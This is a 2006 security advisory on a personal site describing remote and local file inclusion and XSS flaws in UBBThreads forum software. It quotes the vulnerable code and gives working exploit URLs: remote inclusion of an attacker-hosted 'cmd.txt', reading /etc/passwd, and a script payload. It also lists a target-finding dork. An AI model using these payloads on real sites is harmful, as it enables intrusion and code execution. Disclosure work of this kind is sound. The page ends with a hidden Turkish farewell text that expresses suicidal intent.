Online ziyaretçi sayısı: 6
[ Anasayfa | Dökümanlarım | Haberler | Hakkımda | RSS ]
İletişim: [ ICQ | IRC | MAIL ]

UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities.
--Security Report--
Advisory: UBBThreads 5.x,6.x Multiple File Inclusion Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 09:44 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Infopop (http://www.infopop.com)
Version: 5.x and 6.x also prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to UBBThreads.The thispath and configdir in
ubbt.inc.php did not sanitized before using it.You can find vulnerable code in ubbt.inc.php at lines 23-42

-Source in ubbt.inc.php-
23: if (!$configdir) {
24: $configdir = $thispath;
25: }
26:
27: // ------------------------------------------------------------------
28: // In case register globals are on we need to protect a few variables
29: if (
30: isset($HTTP_GET_VARS['thispath'])
31: || isset($HTTP_POST_VARS['thispath'])
32: || isset($HTTP_COOKIE_VARS['thispath'])
33: || isset($HTTP_POST_FILES['thispath'])
34: || isset($HTTP_GET_VARS['configdir'])
35: || isset($HTTP_POST_VARS['configdir'])
36: || isset($HTTP_COOKIE_VARS['configdir'])
37: || isset($HTTP_POST_FILES['configdir']) )
38: {
39: exit;
40: }
41:
42: include("$configdir/config.inc.php");
-End of source-

So if register_globals on remote attacker could inject arbitrary variable by GLOBALS[thispath].
Also if php <= 4.1.0 there is no $HTTP_* tags so remote attacker can use thispath in QueryString.This works on version 6.x
For version 5.x there is no variable check in ubbt.inc.php so remote attacker can inject thispath to QueryString and include
external and internal files.
Including internal files requires that magic_quotes_gpc off.
There is another inclusion vulnerability in includepollresults.php for version 6.x. Parameters config[cookieprefix]
and w3t_language did not sanitized properly before using them.So it lets remote attacker can include arbitrary internal files.
You can find vulnerable code in includepollresults.php at lines 24

-Source code in includepollresults.php-
24: require ("languages/${$config['cookieprefix']."w3t_language"}/includepollresults.php");
-End of source-

There is also XSS vulnerability in all pages.If debug parameter sent by QueryString it lets remote attacker make a malicious
links for clicking and execute arbitrary HTML/JS/VBS etc.. codes in victim's browser.
Level: Highly Critical
---
How&Example:
Succesful exploitation register_globals on
Version 6.x
GET -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00
GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00
If php version < 4.1.0 or UBB version <= 5.x
GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=[FILE]
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?
EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00
XSS:
GET -> http://[site]/[ubbpath]/index.php?debug=[XSS]
EXAMPLE -> http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
Exploit:
Click here and get exploit for this advisory
---
Dorks: "UBB.threads"
---
References:
milw0rm
Seclists
Securityfocus
Secunia
Neohapsis

NapalmNUKE: 0.2 Beta kullanılmaktadır.Ñûkèr 2006©®
Sayfa: 0.000 saniyede yapılandırıldı.
PHP: 5.2.12 üzerinde MySQL desteği ile çalışmaktadır.
En iyi 1024x768 çözünürlük ve IE 5+ ile görüntülünebilir.
IP: 38.107.191.99 Tarayıcı: Bilinmeyen OS: Bilinmeyen
Bu site üzerindeki bütün bilgiler eğitim amaçlı yayınlanmaktadır.
All contents in this page are published only for educational purposes.



Elveda demek istemedim sana hiç bir zaman ama sen bunu yanlış anladın artık sen yoksun ama ben bunu çözeceğim er yada geç...Her zaman dedim sana asla asla deme ne olursa olsun...Kolay olsaydı unutmak , kolay olsaydı yaşananları hiçe saymak...Kolay olanı seçtin kaçtın , ben ise seni hep kovaladım durdum.Olayların yaşanışları ve gidişatı elimde değildi...Seni hep zaman ve mekan kavramlarının ötesinde sevdim seni hep sen olduğun için sevdim...Sen benim beyaz tarafımdın senle gri olmuştum kötü kara pis olan ben gitmişti...Ying yang bizdik sen gittin gri dağıldı geriye kara tarafım kaldı...Hep dedim sana sıfır bir değer değildir, yanına bir değer gelmedikçe değer kazanmaz; aynı aşk gibi , aşkta değersizdir yanında sevdiğin olmadıkça...Belki bu satırları okumayacaksın ama ben bu satırları artık tarihin karanlık benim olan sayfalarına kazıyorum seni çok seviyorum sevdim ve seveceğim...Anla be vicdansız ben hep senindim tıpkı senin benim olduğun gibi bilerek gizliyorum bu yazıyı herkes okuyamasın diye o zaman özelliği kalmaz gizliyorum ama biliyorum elbet birileri merak edip bu kara uzun boşluğu farkedecek ve bu satırları okuyacak keşke sen olsaydın onu okuyan keşke seni hiç üzmeseydim...Keşke keşke diyemeseydim...Hayat işte örümcek ağına yakalanmış ufacık bir sinek kadar aciz,ancak o sineği yiyen örümcek kadar da acımasız...Tek tesellim geçmişim bir bilsen o günleri mumla arıyorum bir maden işçisi gibi kazıyorum kazıyorum ama en değerli elması seni bulamıyorum...Şuan sana bu satırlarıda yazarken bir yanda darağacım hazır kurdum ve oraya gidiyorum umarım bu sefer bunu kuşlar sana iletir...Çünkü ne kadar kuş varsa sana mesaj yolladığım,sana selam söylediğim geri gelmedi...Belli ki onlarda seni sevdi...